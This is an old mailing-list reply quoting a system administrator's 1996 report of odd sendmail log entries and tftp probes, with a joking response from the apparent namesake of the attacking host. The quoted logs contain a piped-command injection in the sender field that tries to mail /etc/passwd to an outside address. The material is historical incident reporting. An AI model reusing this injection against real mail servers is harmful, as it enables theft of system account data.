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Re: Black Unicorn attempts computer break in
On Wed, 27 Mar 1996, Anonymous wrote:
> Date: Wed, 27 Mar 1996 16:58:14 +1100
> Reply-To: Linux Servers mailing list <[email protected]>
> Sender: Linux Servers mailing list <[email protected]>
> From: Steve Gibson <[email protected]>
> Subject: Strange things afoot at my SMTP port...
> To: Multiple recipients of list SERVER-LINUX
> <[email protected]>
>
> I just found these while going through my messages file... do I
> have any need to be concerned???
> (unicorn.it.wsu.edu is now in my /etc/hosts.deny...)
>
> Mar 23 20:39:25 aries sendmail[7469]: setsender: "|/bin/mail
> [email protected] < /etc/passwd": invalid or unparseable,
> received from unicorn.it.wsu.edu [1
> Mar 23 20:39:25 aries sendmail[7469]: UAA07469: from="|/bin/mail
> [email protected] < /etc/passwd", size=0, class=0, pri=0,
> nrcpts=0, proto=SMTP, relay=uni
>
> There were also attempts at connecting to my tftp port, although
> at the time, in.tftpd wasn't on the system (it is now, and is also
> in my hosts.deny to all except for local)
>
> Thanks...
You should be deeply concerned.
It's clear that I have been having blackouts again.
>
> Interspace Australia Pty Ltd
> Steve Gibson - System Administrator
> <[email protected]>
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